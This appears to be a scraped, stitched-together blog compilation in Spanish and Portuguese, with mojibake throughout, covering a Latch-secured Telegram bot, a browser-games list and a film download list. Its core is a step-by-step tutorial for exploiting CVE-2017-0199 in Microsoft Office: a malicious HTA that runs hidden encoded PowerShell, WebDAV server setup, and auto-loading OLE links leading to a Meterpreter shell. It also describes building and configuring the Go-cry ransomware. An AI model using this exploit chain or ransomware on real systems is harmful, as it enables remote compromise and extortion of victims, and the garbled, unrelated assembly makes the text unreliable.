Antes que nada registrarse en Latch como desarrollador y crear una aplicaci�n. Es bueno recordar que no es necesario brindar ning�n dato que nos relacione a una organizaci�n, el correo electr�nico o el tel�fono, los datos son solo representativos y sirven para obtener el Application ID y el Secret de la aplicaci�n creada. Ahora puedes gestionar hasta los permisos que quieres dar a cada Secret. En este ejemplo tienes un paso a paso de c�mo integrar una aplicaci�n web con Latch.
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| Figura 6: SDK de Latch para lenguaje Python |
En el bot de Telegram se utilizan estos datos para procesar la validaci�n del usuario de Latch. En este caso el c�digo del bot propiamente dicho est� creado en Python por lo que es necesario descargar la el SDK Python correspondiente de Latch y luego realizar la autenticaci�n a trav�s de los datos obtenidos previamente (app_id y secret_key):
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| Figura 7: Control de ejecuci�n de �rdenes con Latch |
Una vez creado el bot de Telegram, se debe proceder a programar la integraci�n con Latch y agregar las ordenes que se desee que el bot lleve a cabo. El bot tiene una serie de par�metros y opciones que deber�n ser agregados y que servir�n para interactuar con el mismo. Por ejemplo, en este caso �/remedio� servir�a para descargar e instalar una actualizaci�n determinada en el sistema operativo.
Funcionamiento del bot de Telegram protegido por Latch
Ya con todo el desarrollo terminado, as� es como se ve la interacci�n del usuario (operador), para ejecutar tareas en el centro de datos a trav�s del bot de Telegram que se ha creado, protegido con Latch.
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| Figura 8: El bot ejecuta el comando porque el Latch est� abierto |
Y as� se ver�a el resultado al momento de cerrar el Latch para un usuario determinado, es decir, deshabilitar la autorizaci�n para que ejecute acciones y por tanto el bot no las ejecutar�.
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| Figura 9: Operaci�n denegada por el bloqueo de Latch |
Como puede verse, es sencillo crear un servicio que utilice un bot de Telegram para intercambiar informaci�n con un grupo de usuarios previamente autorizados con Latch y de esa forma potenciar el uso de ambas herramientas para realizar tareas sencillas, obteniendo un gran beneficio para todos. Por ejemplo, obtener el estado de un servidor o ejecutar un proceso urgente a distancia y, al mismo tiempo, proteger informaci�n sensible de la organizaci�n.
Autor: Claudio Caracciolo (@holesec)
CSA de ElevenPaths en Argentina
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Sunday, September 24, 2017
Explotación práctica de CVE 2017 0199 Windows RTF RCE
Explotación práctica de CVE 2017 0199 Windows RTF RCE

Si record�is, la vulnerabilidad etiquetada como CVE-2017-0199 naci� como un 0-day que explotaba las �ltimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la Rep�blica de Donestk y que compromet�a el PC de la v�ctima con s�lo abrirlo (permit�a RCE). Luego se us� tambi�n para instalar malware como Latentbot y en campa�as del troyano bancario Dridex, aunque hasta ahora no hab�a mucho detalle del exploit.
Y digo hasta ahora porque en varios sitios est�n reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como dec�a al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones �hasta la cocina�.
Uno de los m�s "did�cticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:
- Modificar el c�digo fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar autom�ticamente el objeto OLE
Ech�mosle un vistazo a c�mo llevarlo a cabo paso a paso:
Paso 1
Prepara un archivo HTA: (el archivo HTA es una aplicaci�n HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html >
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour
</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then
owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
End If
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</hta:application>
</head>
<div>
<object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">
</object>
</div>
<body>
</body>
</html>Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase �This is my official and legit content�)
Ll�malo "ms.rtf"
Paso 3
Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html
Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
a2enmod dav
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers
service apache2 restart Luego las siguientes directivas:
- A�adir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petici�n PROPFIND realizada por Microsoft Office
Modifica virtualhost e incluye:
<Directory /var/www/html/ms/>
Header set Content-Type "application/rtf"
</Directory>
<Directory />
Dav on
</Directory>
service apache2 restartPaso 4
Crea un simple documento RTF con Winword "exploit.rtf" �Ese ser� el exploit!
Insertar -> Objeto

Despu�s de hacer clic en Aceptar, ver�s el contenido del archivo "ms.rtf" con el texto,
Guarda el archivo como "exploit.rtf"

En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...
Paso 5
El siguiente paso ser�:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviar� un tipo de contenido "application/hta" ... esto ser� interpretado por el cliente Winword que ejecutar� mshta para manejar este tipo de contenido y ejecutar el payload
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default
Cambia -> application/rtf a application/hta
como:
<Directory /var/www/html/ms/>
Header set Content-Type "application/hta"
</Directory>
service apache2 restart Paso 6
En este paso, si el usuario abre el archivo "exploit.rtf", tendr� que hacer doble clic en el objeto del enlace para lanzar el ataque ...
Si queremos que el objeto OLE se cargue autom�ticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:
Explotaci�n:
Una vez que el usuario abre el documento el objeto OLE se actualiza a trav�s del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el c�digo!
Ya tenemos Meterpreter

No nos importa la advertencia ya que el c�digo ya se ha ejecutado ...

Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
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Guardianes De La Galaxia Vol 2
Guardianes De La Galaxia Vol 2

Download: Star Lord
Download: Gamora
Download: Rocket Raccoon
Download: Drax
Download: Baby Groot
Download: Ego
Download: Yondu
Download: Nebula
Download: Mantis
Download: Taserface
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go cry un ransomware de código abierto escrito en go
go cry un ransomware de código abierto escrito en go

Go-cry es un proyecto que fue escrito para mostrar lo f�cil que es crear c�digo extremadamente malicioso, de hecho si observ�is el c�digo ver�is que es sumamente sencillo. Ya sab�is que el ransomware est� dise�ado para secuestrar los archivos m�s queridos de la v�ctima demandando grandes cantidades de dinero para desbloquearlos.
Go-cry se compone de dos partes, un servidor web y el software cliente. Los archivos de salida se situar�n en ./bin/
Se puede compilar con los par�metros -w -s para minimizar el tama�o del archivo. Para reducir a�n m�s el tama�o de los binarios Go, echa un vistazo al proyecto UPX.
Creaci�n de cliente y servidor web
./bin/windows_amd64.exe
./bin/windows_x86.exe
./bin/linux_amd64
./bin/linux_x86
./bin/macos (amd64)
$ make
Crear� los archivos
./bin/web[.exe]
./bin/cry[.exe]
Creaci�n de cliente para todos los sistemas operativos y arquitecturas comunes
$ make all
Crear� los archivos
./bin/windows_amd64.exe
./bin/windows_x86.exe
./bin/linux_amd64
./bin/linux_x86
./bin/macos (amd64)
Desinstalaci�n
Eliminar� todos los archivos del directorio bin:
$ make clean
Configurar el servidor web
Edita web/web.go y modifica los valores. Est�n comentados y son sencillos de entender.
Cliente
Edita el fichero config.go y modifica los valores correspondientes.
Si modificas la variable de tama�o de clave RSA Bits, consulta EncryptedHeaderSize. La longitud del texto cifrado RSA cambia dependiendo del tama�o de clave utilizado y no se calcula en tiempo de ejecuci�n.
Notas
Este programa no solicita dinero a la v�ctima. Simplemente cifra los archivos con las extensiones especificadas en la constante config.go ProcessMax y la env�a al servidor
Aviso legal
Go-cry s�lo puede ser utilizado para fines educativos.
Proyecto: https://github.com/redpois0n/cry
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Saturday, September 23, 2017
Top 10 melhores jogos de browser jogos para jogar no Navegador
Top 10 melhores jogos de browser jogos para jogar no Navegador
Acho que todo mundo sabe o que s�o jogos browser certo? N�o? Jogos browser s�o basicamente jogos para se jogar em navegadores sem precisar fazer download, tamb�m s�o definidos por muitos como "jogos para se jogar no trabalho", mas isso n�o vem ao caso agora.
Essa onda de games para navegadores est� chegando com tudo desde 2009. Alguns dos jogos mais recentes impressionam principalmente pelo gr�fico. Isso me motivou a montar essa lista dos 10 melhores jogos browsers onlineexistentes hoje.
Tribal Wars - Estrat�gia Medieval
Editora: InnoGames

Tribal Wars � um jogo online baseado na idade m�dia. Cada jogador � l�der de uma pequena aldeia, na qual deve evoluir pegando recursos, treinando guerreiros e atacando outras aldeias, assim ganhando pontos, poder e gl�ria.
Drakensang Online - MMORPG Medieval N�rdico
Editora: Bigpoint

Drakensang Online � o primeiro jogo de Browser da saga Drakensang. Voc� pode ser um Mago, um Guerreiro ou um Arqueiro, o n�vel m�ximo � 40 e a cada n�vel 5 n�veis voc� aprende uma habilidade nova. Drakensang Online � composto por 5 servidores sendo 3 europeus 1 norte americano e 1 sul americano, ent�o voc� pode jogar com pessoal de todo o mundo.
Pra mim o Drakensang Online � o melhor jogo da lista principalmente pelo quesito gr�fico e jogabilidade (que � do estilo Diablo)
TRAVIAN - Estrat�gia Medieval
Editora: Travian Games
TRAVIAN � um jogo baseado na idade m�dia e tem quase o mesmo conceito que o Tribal Wars. Construir e Aumentar o seu imp�rio, organizar ex�rcitos para atacar os inimigos e ganhar pontos para crescer cada vez mais. A diferen�a � que TRAVIAN � um jogo digamos que mais complexo, tem mais op��es de jogabilidade.

RuneScape se passa em um universo fict�cio chamado Guilenor, que � dividido em v�rios reinos, regi�es, cidades e vilar. Os jogadores podem se deslocar por Guilenor a p�, se utilizando feiti�os de teletransporte, bal�es, navios e outros. os jogadores s�o representados por avatares customiz�veis, cujas metas e objetivos s�o definidos pelos pr�prios jogadores. Eles podem lutar contra monstros e at� contra outros jogadores (pvp), ao passar de n�vel o jogador ganha pontos de experiencia, nas quais podem trocar por skills. Os jogadores podem interagir entre si atrav�s de conversas, trocas de itens, ou participando em mini jogos.

Editora: InnoGames

Editora: Bigpoint

Zoomumba � um jogo casual onde o jogador tem que administrar um zool�gico, para evoluir o zool�gico � preciso simplesmente cuidar dos animais em 4 fun��es (alimentar, dar �gua, brincar, e dar banho) fazendo isso se ganha pontos experi�ncia para subir de n�vel, cada n�vel alcan�ado libera um animal diferente para colocar no seu zool�gico. � um jogo muito divertido pra quem n�o tem pressa de evoluir.
Editora: NPlay

BeGone � um FPS parecido com Counter Strike, mas com gr�ficos at� melhores, sim, apesar de ser Browser, os gr�ficos s�o incr�veis. Em BeGoneexistem dois times: SWAT (policia) e a Militia (terroristas).
Editora: OASGAMES

Legend Online foi o MMORPG browser mais popular de 2012. Com tema medieval n�rdico m�gico, possui gr�ficos incr�veis e uma jogabilidade de combate emocionante, hist�ria envolvente, v�rios mapas, labirintos, pvps, e v�rios chef�es. Na minha opini�o n�o � melhor que Drakensang Onlinesimplesmente por ter uma jogabilidade meio estranha, mas mesmo assim � um jogo fant�stico.

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